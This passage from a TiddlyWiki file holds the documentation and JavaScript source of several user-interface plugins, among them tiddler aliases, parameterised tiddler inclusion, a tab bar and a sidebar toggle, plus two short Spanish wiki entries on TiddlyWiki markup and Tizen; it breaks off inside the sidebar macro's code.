<<option chkTemporaryKeep>> Keep temporary tiddlers (i.e., ignore the 'temporary' tag)
Enter a tag value to use when marking tiddlers as temporary: <<option txtTemporaryTag>>
<<<
!!!!!Revisions
<<<
2008.11.14 [1.1.2] added "nnn temporary tiddlers not saved" summary message
2008.04.08 [1.1.1] don't automatically add configuration options to AdvancedOptions tiddler
2008.03.01 [1.1.0] added support for recognizing 'temporary' flag stored as a tiddler *field* (as an optional alternative to using a tag)
2007.02.08 [1.0.0] initial release
<<<
!!!!!Code
***/
//{{{
version.extensions.TemporaryTiddlersPlugin= {major: 1, minor: 1, revision: 2, date: new Date(2008,11,14)};

// configuration defaults
if (config.options.chkTemporaryKeep ==undefined) config.options.chkTemporaryKeep =false;
if (config.options.chkTemporaryQuiet==undefined) config.options.chkTemporaryQuiet=true;
if (config.options.txtTemporaryTag==undefined) config.options.txtTemporaryTag="temporary";
// lingo
config.messages.TemporaryWarning = "'%0' ...temporary tiddler";
config.messages.TemporarySummary = "%0 temporary tiddlers will not be saved";
// core override
SaverBase.prototype.externalize = function(store) 
{
	var results=[]; var totaltemps=0;
	var tiddlers=store.getTiddlers("title");
	for (var t=0; t<tiddlers.length; t++) {
		if (config.options.chkTemporaryKeep||!(tiddlers[t].fields['temporary']||tiddlers[t].isTagged(config.options.txtTemporaryTag)))
			results.push(this.externalizeTiddler(store, tiddlers[t]));
		else {
			if (!config.options.chkTemporaryQuiet) // notify user that tiddler won't be saved
				displayMessage(config.messages.TemporaryWarning.format([tiddlers[t].title]));
			totaltemps++;
		}
	}
	if (totaltemps) displayMessage(config.messages.TemporarySummary.format([totaltemps]));
	return results.join("\n");
}
//}}}
Using the [[TiddlerAliasPlugin]] you may refer to a tiddler using various names. 

In this example the tiddler "William Shakespeare" also defines the alias "Shaxper". I.e. you may write code like this
{{{
Read more about [[William Shakespeare]], also known as [[Shaxper]]
}}}
''Result:''
Read more about [[William Shakespeare]], also known as [[Shaxper]]

In addition the "Auto ~Non-Space Alias" feature will automatically create aliases: for tiddlers with titles containing whitespaces an alias is automatically created that has every whitespace replaced by a dash ("-"). E.g. a tiddler called [[Tiddler with no alias defined]] can also be referenced by [[Tiddler-with-no-alias-defined]].
/***
|''Name:''|TiddlerAliasPlugin|
|''Version:''|1.0.0 BETA 3 (2006-09-23) (patched by rjbs)|
|''Source:''|http://tiddlywiki.abego-software.de/Beta.html#TiddlerAliasPlugin|
|''Author:''|UdoBorkowski (ub [at] abego-software [dot] de)|
|''Licence:''|[[BSD open source license (abego Software)|http://www.abego-software.de/legal/apl-v10.html]]|
|''Copyright:''|&copy; 2006 [[abego Software|http://www.abego-software.de]]|
|''~CoreVersion:''|2.1.0|
|''Browser:''|Firefox 1.5.0.7 or better; InternetExplorer 6.0|
!Description

Reference a tiddler through an alias (or even through many aliases). E.g. a tiddler "William Shakespeare" may also be referenced as {{{[[Shaxper]]}}}.

When editing a tiddler you may enter alternative names for the tiddler in the "Alias" field (below the tags field), similar to the way you enter tags. You may even specify multiple alias names, separated by spaces. Alias names containing spaces must be written as {{{[[...]]}}}

Also this plugin implements the "Auto Non-Space Alias" feature: for tiddlers with titles containing whitespaces an alias is automatically created that has every whitespace replaced by a dash ("-"). E.g. a tiddler called [[Tiddler with no alias defined]] can also be referenced by [[Tiddler-with-no-alias-defined]].

!Revision history
* v1.0.0 Beta 3 (2006-09-23)
** Support "Auto Non-Space Alias" feature: For tiddler with titles containing whitespaces an alias is automatically created that has every whitespace replaced by a dash ("-")
* v1.0.0 Beta 2 (2006-09-22)
** Bugfix: Tiddler is displayed more than once when opened both through title and alias (Thanks to KenGirard for reporting)
* v1.0.0 Beta 1 (2006-09-21)
** Beta 1 release
!Code
***/
//{{{
	
//============================================================================
//============================================================================
//		   TiddlerAliasPlugin
//============================================================================
//============================================================================

// Only install once
if (!version.extensions.TiddlerAliasPlugin) {

version.extensions.TiddlerAliasPlugin = {
	major: 1, minor: 0, revision: 0, beta: 3,
	date: new Date(2006,8,23), 
	source: "http://tiddlywiki.abego-software.de/Beta.html#TiddlerAliasPlugin",
	licence: "[[BSD open source license (abego Software)|http://www.abego-software.de/legal/apl-v10.html]]",
	copyright: "Copyright (c) abego Software GmbH, 2005-2006 (www.abego-software.de)"
};

(function() {

window.abegoTiddlerAlias = {
	lingo:  {
		aliasPrompt: "Type alias names (i.e. alternative names for this tiddler) separated with spaces, [[use double square brackets]] if necessary"
	}, 
	
	editTemplateExtension: "<div class='editor' macro='edit alias'></div><div class='editorFooter'><span macro='message abegoTiddlerAlias.lingo.aliasPrompt'></span></div>"
};

var oldFetchTiddler;
var oldSaveTiddler;
var oldDisplayTiddler;

var fWithAutoNonSpaceAlias = true;

function withAutoNonSpaceAlias() {
	return fWithAutoNonSpaceAlias;
}

function addNonSpaceAlias(map, title) {
	var s = title.replace(/\s/g,"-");
	if (s != title)
		map[s] = title;
}

function calcAliases() {
	var result = {};
	store.forEachTiddler(function(title,tiddler) {
		var s = store.getValue(tiddler,"alias");
		if (s) {
			var p = s.parseParams("list",null,false,true);
			for(var i=1; i<p.length; i++)
				result[p[i].value] = title;
		}
		if (withAutoNonSpaceAlias())
			addNonSpaceAlias(result,title);
	});
	return result;
}

// Returns a map that maps an alias name to the title of the tiddler
abegoTiddlerAlias.getAliases = function() {
	if (!store.aliases)
		store.aliases = calcAliases();
	return store.aliases;
}

// Returns the title of the tiddler for the given alias.
// When no such alias is defined but a tiddler with that name exists the alias is returned.
// Otherwise null is returned.
abegoTiddlerAlias.getAliasTitle = function(alias) {
	var t = abegoTiddlerAlias.getAliases()[alias];
	return t ? t : (store.fetchTiddler(alias) ? alias : null)
}

function hasEditTemplateExtension(s) {
	return s.indexOf('edit alias') >= 0;
}

function addEditTemplateExtension(s) {
	if (s && !hasEditTemplateExtension(s)) {
		var i = s.lastIndexOf("</div>");
		if (i >= 0)
			return s.slice(0,i+6)+"\n"+abegoTiddlerAlias.editTemplateExtension+s.slice(i+6);
	}
	return null;
}

function hijackFetchTiddler() {
	oldFetchTiddler = store.fetchTiddler;

	store.fetchTiddler = function(title) {
		var result = oldFetchTiddler.apply(this, arguments);
		if (!result && title) {
			title = abegoTiddlerAlias.getAliases()[title];
			if (title)
				result = oldFetchTiddler.apply(this, [title])
		}
		return result;	
	};
}

function hijackSaveTiddler() {
	oldSaveTiddler = TiddlyWiki.prototype.saveTiddler;
	TiddlyWiki.prototype.saveTiddler = function() {
		var result = oldSaveTiddler.apply(this, arguments);
		delete store.aliases;				
		return result;	
	}
}


function hijackDisplayTiddler() {
	oldDisplayTiddler = Story.prototype.displayTiddler;
	Story.prototype.displayTiddler = function(srcElement,title,template,animate,slowly) {
		// Ensure that a tiddler is always opened with its "original" title (not an alias)
		var tiddler = store.fetchTiddler(title);
		if (tiddler) 
			title = tiddler.title;
		return oldDisplayTiddler.apply(this, [srcElement,title,template,animate,slowly]);
	}
}
	

function modifyEditTemplate() {
	// The shadow tiddler
	var s = addEditTemplateExtension(config.shadowTiddlers["EditTemplate"]);
	if (s) 
		config.shadowTiddlers["EditTemplate"] = s;
	
	// The "real" tiddler (if defined)
	var t = store.getTiddler("EditTemplate");
    if (t && !hasEditTemplateExtension(t.text))
          t.set(null,addEditTemplateExtension(t.text));		
}

// Requires store is defined.
function doHijacking() {
	hijackFetchTiddler();
	hijackSaveTiddler();
	hijackDisplayTiddler();
	modifyEditTemplate();
}

// for debugging the plugin is not loaded through the systemConfig mechanism but via a script tag. 
// At that point in the "store" is not yet defined. In that case hijackFetchTiddler through the restart function.
// Otherwise hijack now.
if (!store) {
	var oldRestartFunc = restart;
	window.restart = function() {
		doHijacking();
		oldRestartFunc.apply(this,arguments);
	};
} else
	doHijacking();

// To support the access through the "message" macro
config.abegoTiddlerAlias = abegoTiddlerAlias;
})();
} // of "install only once"


/***
!Licence and Copyright
Copyright (c) abego Software ~GmbH, 2005 ([[www.abego-software.de|http://www.abego-software.de]])

Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:

Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.

Redistributions in binary form must reproduce the above copyright notice, this
list of conditions and the following disclaimer in the documentation and/or other
materials provided with the distribution.

Neither the name of abego Software nor the names of its contributors may be
used to endorse or promote products derived from this software without specific
prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
DAMAGE.
***/

//}}}
/***

|Name|TiddlerWithEditPlugin|
|Created by|SaqImtiaz|
|Location|http://tw.lewcid.org/#TiddlerWithEditPlugin|
|Version|0.2|
|Requires|~TW2.x|
!Description:
Adds 'doubleclick to edit source' capabilites to the core {{{<<tiddler>>}}} macro.

!Notes:
*because of the rewrite, only clicking on actual embedded text opens the source tiddler for editing. Clicking on any white space opens the containing tiddler for editing.

!History
*29-04-06, version 0.2, rewritten after input from Udo.
*28-04-06, version 0.1, working.

!Code
***/
//{{{
config.macros.tiddler.onTiddlerMacroDblClick = function(e){
        if (!e) var e = window.event;
        var theTarget = resolveTarget(e);
        var title= this.getAttribute("source");
        if ((version.extensions.PartTiddlerPlugin)&&(title.indexOf("/")!=-1))
                 {if (!oldFetchTiddler.call(this, [title]))
                              {title=title.slice(0,title.lastIndexOf("/"))}}   
        story.displayTiddler(theTarget,title,2,false,null)
        e.cancelBubble = true;
        if (e.stopPropagation) e.stopPropagation();
        return false;
        }

var oldTiddlerHandler=config.macros.tiddler.handler;
config.macros.tiddler.handler = function(place,macroName,params){
        oldTiddlerHandler.apply(this,arguments);
        place.lastChild.setAttribute("source",params[0]);
        place.lastChild.ondblclick = this.onTiddlerMacroDblClick;
}
//}}}
/***
|''Name:''|TiddlerWithParamsPlugin|
|''Version:''|1.0.1 (2006-03-22)|
|''Source:''|http://tiddlywiki.abego-software.de/#TiddlerWithParamsPlugin|
|''Author:''|UdoBorkowski (ub [at] abego-software [dot] de)|
|''Licence:''|[[BSD open source license]]|
!Description

The TiddlerWithParamsPlugin extends the build-in {{{<<tiddler...>>}}} macro. It replaces placeholders ($1, $2, ...) in the given tiddler by values passed with the macro. Then it inserts the (replaced) text, just like the original {{{<<tiddler...>>}}} macro.

''Syntax:'' 
|>|{{{<<}}}''tiddler '' //tiddlerName// [//className//] [''asText''] [''with:'' //arguments// ] [''prefix:'' //prefixString//] {{{>>}}}|
|//tiddlerName//|The name of the tiddler to be included. The tiddler may contain placeholders ($1, $2, ... $9) that will be replaced with the values passed with the macro|
|//className//|The (CSS) class to be used around the embedded tiddler|
|''asText''|When defined the (replaced) content of the tiddler is inserted as pure text, i.e. it is not "wikified".|
|//arguments//|up to 9 arguments may be passed to the macro, used as the values for the placeholders $1, $2, ... $9 in the referenced template|
|//prefixString//|By default the placeholders $1, $2, $3,..., $9 are used. But you may change the "prefix" before the placeholder number ("$") to some other text through the "prefix:" option. This may be necessary when you are using the $n in the tiddler you are referencing (e.g. when you are using regular expressions).|
|>|~~Syntax formatting: Keywords in ''bold'', optional parts in [...]. ~~|

!Example

The following ''//ProjectTemplate//'' tiddler defines an "Overview" page for a project, that gives access to various "sub-tiddlers" used in the project, that follow a static naming schema (e.g. all Notes for any project are stored in a tiddler called "//projectName// Notes"). $1 holds the name of the Project (e.g. "ForEachTiddler"), $2 holds the type of the published component (e.g. "Plugin", "Macro", "Function").
{{{
![[$1Project]] Overview
* [[$1$2]]
* [[ToDo|$1 ToDos]]
* [[Notes|$1 Notes]]
* [[Examples|$1Examples]]
* [[Tests|$1 Tests]]
* [[Open Bugs/CRs|$1 Open Bugs and ChangeRequests]]
}}}

This template is now used in the ''//ForEachTiddlerProject//'' tiddler:
{{{
<<tiddler ProjectTemplate with: ForEachTiddler Plugin>>
}}}

This results in the following tiddler text for the ''//ForEachTiddlerProject//'' tiddler:
{{{
![[ForEachTiddlerProject]] Overview
* [[ForEachTiddlerPlugin]]
* [[ToDo|ForEachTiddler ToDos]]
* [[Notes|ForEachTiddler Notes]]
* [[Examples|ForEachTiddlerExamples]]
* [[Tests|ForEachTiddler Tests]]
* [[Open Bugs/CRs|ForEachTiddler Open Bugs and ChangeRequests]]
}}}

!Revision history
* v1.0.0 (2006-01-20)
** initial version
* v1.0.1 (2006-03-22)
** Added 'asText' option
** Support Safari (Thanks to Elise Springer for reporting the problem)
!Code
***/
//{{{
//============================================================================
// TiddlerWithParamsPlugin
//============================================================================

// Ensure that the Plugin is only installed once.
//
if (!version.extensions.TiddlerWithParamsPlugin) {

version.extensions.TiddlerWithParamsPlugin = {
 major: 1, minor: 0, revision: 1, 
 date: new Date(2006,3,22), 
 type: 'plugin',
 source: "http://tiddlywiki.abego-software.de/#TiddlerWithParamsPlugin"
};

// ---------------------------------------------------------------------------
// Helpers
// ---------------------------------------------------------------------------

var indexInArray = function(array, item) {
 for (var i = 0; i < array.length; i++) {
 if (array[i] == item) {
 return i;
 }
 }
 return -1;
}

var myEscapeRegExp = function(s)
{
 // The original escapeRegExp function does not work with Safari (2.0.3) 
 // since the $& is not implemented.
var t = s.replace(/\\/g, "\\\\");
 t = t.replace(/\^/g, "\\^");
 t = t.replace(/\$/g, "\\$");
 t = t.replace(/\*/g, "\\*");
 t = t.replace(/\+/g, "\\+");
 t = t.replace(/\?/g, "\\?");
 t = t.replace(/\(/g, "\\(");
 t = t.replace(/\)/g, "\\)");
 t = t.replace(/\=/g, "\\=");
 t = t.replace(/\!/g, "\\!");
 t = t.replace(/\|/g, "\\|");
 t = t.replace(/\,/g, "\\,");
 t = t.replace(/\{/g, "\\{");
 t = t.replace(/\}/g, "\\}");
 t = t.replace(/\[/g, "\\[");
 t = t.replace(/\]/g, "\\]");
 t = t.replace(/\./g, "\\.");

 return t;
}

// ---------------------------------------------------------------------------
// The (hijacked) tiddler Macro Handler 
// ---------------------------------------------------------------------------

config.macros.tiddler.handler = function(place,macroName,params,wikifier,paramString,tiddler) {
 
 var className = null;
 var argsStart = -1;
 var doWikify = true;

 var iParams = 1;
 if (params[iParams] != "asText" && params[iParams] != "with:") {
 className = params[iParams++];
 }
 if (params[iParams] == "asText") {
 iParams++;
 doWikify = false;
 }
 if (params[iParams] == "with:") {
 iParams++;
 argsStart = iParams;
 }
 
 var wrapper = createTiddlyElement(place,"span",null,className ? className : null,null);
 var text = store.getTiddlerText(params[0]);
 if(text) {
 // Check for recursion
 var tiddlerName = params[0];
 var stack = config.macros.tiddler.tiddlerStack;
 if (stack.find(tiddlerName) !== null) return;

 if (argsStart >= 0) {
 // The params between the "with:" and the "prefix:" (or the end) are the arguments,
 // The param behind the "prefix:" is the prefix before the placeholder numbers.
 var argsEnd = params.length;
 var prefix = "$";
 var prefixIndex = indexInArray(params, "prefix:");
 if (prefixIndex >= argsStart) {
 argsEnd = prefixIndex;
 if (prefixIndex < (params.length-1)) {
 prefix = params[prefixIndex+1];
 }
 }
 // to avoid any "special RE chars" problems with the prefix string escape all chars.
 prefix = myEscapeRegExp(prefix);
 
 var args = params.slice(argsStart, argsEnd);
 var n = Math.min(args.length, 9);
 for (var i = 0; i < n; i++) {
 var value = args[i];
 
 var placeholderRE = new RegExp(prefix+(i+1),"mg");
 text = text.replace(placeholderRE, value);
 }
 }
 stack.push(tiddlerName);
 try {
 if (doWikify) {
 wikify(text,wrapper,null,store.getTiddler(params[0]));
 } else {
 wrapper.appendChild(document.createTextNode(text));
 }
 } finally { 
 stack.pop();
 }
 }
}
config.macros.tiddler.tiddlerStack = [];

// End of "install only once"
}

//============================================================================
// End of TiddlerWithParamsPlugin
//============================================================================
//}}}
/***
!Licence and Copyright
Copyright (c) abego Software ~GmbH, 2006 ([[www.abego-software.de|http://www.abego-software.de]])

Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:

Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.

Redistributions in binary form must reproduce the above copyright notice, this
list of conditions and the following disclaimer in the documentation and/or other
materials provided with the distribution.

Neither the name of abego Software nor the names of its contributors may be
used to endorse or promote products derived from this software without specific
prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
DAMAGE.
***/
/***
|''Name:''|TiddlersBarPlugin|
|''Description:''|A bar to switch between tiddlers through tabs (like browser tabs bar).|
|''Version:''|1.2.5|
|''Date:''|Jan 18,2008|
|''Source:''|http://visualtw.ouvaton.org/VisualTW.html|
|''Author:''|Pascal Collin|
|''License:''|[[BSD open source license|License]]|
|''~CoreVersion:''|2.1.0|
|''Browser:''|Firefox 2.0; InternetExplorer 6.0, others|
!Demos
On [[homepage|http://visualtw.ouvaton.org/VisualTW.html]], open several tiddlers to use the tabs bar.
!Installation
#import this tiddler from [[homepage|http://visualtw.ouvaton.org/VisualTW.html]] (tagged as systemConfig)
#save and reload
#''if you're using a custom [[PageTemplate]]'', add {{{<div id='tiddlersBar' refresh='none' ondblclick='config.macros.tiddlersBar.onTiddlersBarAction(event)'></div>}}} before {{{<div id='tiddlerDisplay'></div>}}}
#optionally, adjust StyleSheetTiddlersBar
!Tips
*Doubleclick on the tiddlers bar (where there is no tab) create a new tiddler.
*Tabs include a button to close {{{x}}} or save {{{!}}} their tiddler.
*By default, click on the current tab close all others tiddlers.
!Configuration options 
<<option chkDisableTabsBar>> Disable the tabs bar (to print, by example).
<<option chkHideTabsBarWhenSingleTab >> Automatically hide the tabs bar when only one tiddler is displayed. 
<<option txtSelectedTiddlerTabButton>> ''selected'' tab command button.
<<option txtPreviousTabKey>> previous tab access key.
<<option txtNextTabKey>> next tab access key.
!Code
***/
//{{{
config.options.chkDisableTabsBar = config.options.chkDisableTabsBar ? config.options.chkDisableTabsBar : false;
config.options.chkHideTabsBarWhenSingleTab  = config.options.chkHideTabsBarWhenSingleTab  ? config.options.chkHideTabsBarWhenSingleTab  : false;
config.options.txtSelectedTiddlerTabButton = config.options.txtSelectedTiddlerTabButton ? config.options.txtSelectedTiddlerTabButton : "closeOthers";
config.options.txtPreviousTabKey = config.options.txtPreviousTabKey ? config.options.txtPreviousTabKey : "";
config.options.txtNextTabKey = config.options.txtNextTabKey ? config.options.txtNextTabKey : "";
config.macros.tiddlersBar = {
	tooltip : "see ",
	tooltipClose : "click here to close this tab",
	tooltipSave : "click here to save this tab",
	promptRename : "Enter tiddler new name",
	currentTiddler : "",
	previousState : false,
	previousKey : config.options.txtPreviousTabKey,
	nextKey : config.options.txtNextTabKey,	
	tabsAnimationSource : null, //use document.getElementById("tiddlerDisplay") if you need animation on tab switching.
	handler: function(place,macroName,params) {
		var previous = null;
		if (config.macros.tiddlersBar.isShown())
			story.forEachTiddler(function(title,e){
				if (title==config.macros.tiddlersBar.currentTiddler){
					var d = createTiddlyElement(null,"span",null,"tab tabSelected");
					config.macros.tiddlersBar.createActiveTabButton(d,title);
					if (previous && config.macros.tiddlersBar.previousKey) previous.setAttribute("accessKey",config.macros.tiddlersBar.nextKey);
					previous = "active";
				}
				else {
					var d = createTiddlyElement(place,"span",null,"tab tabUnselected");
					var btn = createTiddlyButton(d,title,config.macros.tiddlersBar.tooltip + title,config.macros.tiddlersBar.onSelectTab);
					btn.setAttribute("tiddler", title);
					if (previous=="active" && config.macros.tiddlersBar.nextKey) btn.setAttribute("accessKey",config.macros.tiddlersBar.previousKey);
					previous=btn;
				}
				var isDirty =story.isDirty(title);
				var c = createTiddlyButton(d,isDirty ?"!":"x",isDirty?config.macros.tiddlersBar.tooltipSave:config.macros.tiddlersBar.tooltipClose, isDirty ? config.macros.tiddlersBar.onTabSave : config.macros.tiddlersBar.onTabClose,"tabButton");
				c.setAttribute("tiddler", title);
				if (place.childNodes) {
					place.insertBefore(document.createTextNode(" "),place.firstChild); // to allow break line here when many tiddlers are open
					place.insertBefore(d,place.firstChild); 
				}
				else place.appendChild(d);
			})
	}, 
	refresh: function(place,params){
		removeChildren(place);
		config.macros.tiddlersBar.handler(place,"tiddlersBar",params);
		if (config.macros.tiddlersBar.previousState!=config.macros.tiddlersBar.isShown()) {
			story.refreshAllTiddlers();
			if (config.macros.tiddlersBar.previousState) story.forEachTiddler(function(t,e){e.style.display="";});
			config.macros.tiddlersBar.previousState = !config.macros.tiddlersBar.previousState;
		}
	},
	isShown : function(){
		if (config.options.chkDisableTabsBar) return false;
		if (!config.options.chkHideTabsBarWhenSingleTab) return true;
		var cpt=0;
		story.forEachTiddler(function(){cpt++});
		return (cpt>1);
	},
	selectNextTab : function(){  //used when the current tab is closed (to select another tab)
		var previous="";
		story.forEachTiddler(function(title){
			if (!config.macros.tiddlersBar.currentTiddler) {
				story.displayTiddler(null,title);
				return;
			}
			if (title==config.macros.tiddlersBar.currentTiddler) {
				if (previous) {
					story.displayTiddler(null,previous);
					return;
				}
				else config.macros.tiddlersBar.currentTiddler=""; 	// so next tab will be selected
			}
			else previous=title;
			});		
	},
	onSelectTab : function(e){
		var t = this.getAttribute("tiddler");
		if (t) story.displayTiddler(null,t);
		return false;
	},
	onTabClose : function(e){
		var t = this.getAttribute("tiddler");
		if (t) {
			if(story.hasChanges(t) && !readOnly) {
				if(!confirm(config.commands.cancelTiddler.warning.format([t])))
				return false;
			}
			story.closeTiddler(t);
		}
		return false;
	},
	onTabSave : function(e) {
		var t = this.getAttribute("tiddler");
		if (!e) e=window.event;
		if (t) config.commands.saveTiddler.handler(e,null,t);
		return false;
	},
	onSelectedTabButtonClick : function(event,src,title) {
		var t = this.getAttribute("tiddler");
		if (!event) event=window.event;
		if (t && config.options.txtSelectedTiddlerTabButton && config.commands[config.options.txtSelectedTiddlerTabButton])
			config.commands[config.options.txtSelectedTiddlerTabButton].handler(event, src, t);
		return false;
	},
	onTiddlersBarAction: function(event) {
		var source = event.target ? event.target.id : event.srcElement.id; // FF uses target and IE uses srcElement;
		if (source=="tiddlersBar") story.displayTiddler(null,'New Tiddler',DEFAULT_EDIT_TEMPLATE,false,null,null);
	},
	createActiveTabButton : function(place,title) {
		if (config.options.txtSelectedTiddlerTabButton && config.commands[config.options.txtSelectedTiddlerTabButton]) {
			var btn = createTiddlyButton(place, title, config.commands[config.options.txtSelectedTiddlerTabButton].tooltip ,config.macros.tiddlersBar.onSelectedTabButtonClick);
			btn.setAttribute("tiddler", title);
		}
		else
			createTiddlyText(place,title);
	}
}

story.coreCloseTiddler = story.coreCloseTiddler? story.coreCloseTiddler : story.closeTiddler;
story.coreDisplayTiddler = story.coreDisplayTiddler ? story.coreDisplayTiddler : story.displayTiddler;

story.closeTiddler = function(title,animate,unused) {
	if (title==config.macros.tiddlersBar.currentTiddler)
		config.macros.tiddlersBar.selectNextTab();
	story.coreCloseTiddler(title,false,unused); //disable animation to get it closed before calling tiddlersBar.refresh
	var e=document.getElementById("tiddlersBar");
	if (e) config.macros.tiddlersBar.refresh(e,null);
}

story.displayTiddler = function(srcElement,tiddler,template,animate,unused,customFields,toggle){
	story.coreDisplayTiddler(config.macros.tiddlersBar.tabsAnimationSource,tiddler,template,animate,unused,customFields,toggle);
	var title = (tiddler instanceof Tiddler)? tiddler.title : tiddler;  
	if (config.macros.tiddlersBar.isShown()) {
		story.forEachTiddler(function(t,e){
			if (t!=title) e.style.display="none";
			else e.style.display="";
		})
		config.macros.tiddlersBar.currentTiddler=title;
	}
	var e=document.getElementById("tiddlersBar");
	if (e) config.macros.tiddlersBar.refresh(e,null);
}

var coreRefreshPageTemplate = coreRefreshPageTemplate ? coreRefreshPageTemplate : refreshPageTemplate;
refreshPageTemplate = function(title) {
	coreRefreshPageTemplate(title);
	if (config.macros.tiddlersBar) config.macros.tiddlersBar.refresh(document.getElementById("tiddlersBar"));
}

ensureVisible=function (e) {return 0} //disable bottom scrolling (not useful now)

config.shadowTiddlers.StyleSheetTiddlersBar = "/*{{{*/\n";
config.shadowTiddlers.StyleSheetTiddlersBar += "#tiddlersBar .button {border:0}\n";
config.shadowTiddlers.StyleSheetTiddlersBar += "#tiddlersBar .tab {white-space:nowrap}\n";
config.shadowTiddlers.StyleSheetTiddlersBar += "#tiddlersBar {padding : 1em 0.5em 2px 0.5em}\n";
config.shadowTiddlers.StyleSheetTiddlersBar += ".tabUnselected .tabButton, .tabSelected .tabButton {padding : 0 2px 0 2px; margin: 0 0 0 4px;}\n";
config.shadowTiddlers.StyleSheetTiddlersBar += ".tiddler, .tabContents {border:1px [[ColorPalette::TertiaryPale]] solid;}\n";
config.shadowTiddlers.StyleSheetTiddlersBar +="/*}}}*/";
store.addNotification("StyleSheetTiddlersBar", refreshStyles);

config.refreshers.none = function(){return true;}
config.shadowTiddlers.PageTemplate=config.shadowTiddlers.PageTemplate.replace(/<div id='tiddlerDisplay'><\/div>/m,"<div id='tiddlersBar' refresh='none' ondblclick='config.macros.tiddlersBar.onTiddlersBarAction(event)'></div>\n<div id='tiddlerDisplay'></div>");

//}}}
!Descripción
<part descripcion>
Lenguaje de marcado del sistema de wiki sobre [[JavaScript]].
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Tizen es un sistema operativo para dispositivos móviles y empotrados (teléfonos, tabletas, televisores, etc), sucesor del malogrado MeeGo. Está basado en [[Linux]] y es completamente de código abierto. Las principales empresas detrás de su desarrollo son actualmente Samsung e Intel.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: https://en.wikipedia.org/wiki/Tizen
* Página principal del proyecto: https://tizen.org
* Documentación: https://developer.tizen.org/documentation
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
/***

|Name|ToggleSideBarMacro|
|Created by|SaqImtiaz|
|Location|http://tw.lewcid.org/#ToggleSideBarMacro|
|Version|1.0|
|Requires|~TW2.x|
!Description:
Provides a button for toggling visibility of the SideBar. You can choose whether the SideBar should initially be hidden or displayed.

!Demo
<<toggleSideBar "Toggle Sidebar">>

!Usage:
{{{<<toggleSideBar>>}}} <<toggleSideBar>>
additional options:
{{{<<toggleSideBar label tooltip show/hide>>}}} where:
label = custom label for the button,
tooltip = custom tooltip for the button,
show/hide = use one or the other, determines whether the sidebar is shown at first or not.
(default is to show the sidebar)

You can add it to your tiddler toolbar, your MainMenu, or where you like really.
If you are using a horizontal MainMenu and want the button to be right aligned, put the following in your StyleSheet:
{{{ .HideSideBarButton {float:right;} }}}

!History
*23-07-06: version 1.0: completely rewritten, now works with custom stylesheets too, and easier to customize start behaviour. 
*20-07-06: version 0.11
*27-04-06: version 0.1: working.

!Code
***/
//{{{
config.macros.toggleSideBar={};

config.macros.toggleSideBar.settings={
         styleHide :  "#sidebar { display: none;}\n"+"#contentWrapper #displayArea { margin-right: 1em;}\n"+"",
         styleShow : " ",
         arrow1: "«",
         arrow2: "»"
};

config.macros.toggleSideBar.handler=function (place,macroName,params,wikifier,paramString,tiddler)
{
          var tooltip= params[1]||'toggle sidebar';
          var mode = (params[2] && params[2]=="hide")? "hide":"show";
          var arrow = (mode == "hide")? this.settings.arrow1:this.settings.arrow2;
          var label= (params[0]&&params[0]!='.')?params[0]+" "+arrow:arrow;
          var theBtn = createTiddlyButton(place,label,tooltip,this.onToggleSideBar,"button HideSideBarButton");
          if (mode == "hide")
             { 
             (document.getElementById("sidebar")).setAttribute("toggle","hide");
              setStylesheet(this.settings.styleHide,"ToggleSideBarStyles");
             }
};

config.macros.toggleSideBar.onToggleSideBar = function(){
          var sidebar = document.getElementById("sidebar");
          var settings = config.macros.toggleSideBar.settings;
          if (sidebar.getAttribute("toggle")=='hide')
             {
              setStylesheet(settings.styleShow,"ToggleSideBarStyles");
              sidebar.setAttribute("toggle","show");
              this.firstChild.data= (this.firstChild.data).replace(settings.arrow1,settings.arrow2);
              }
          else
              {    
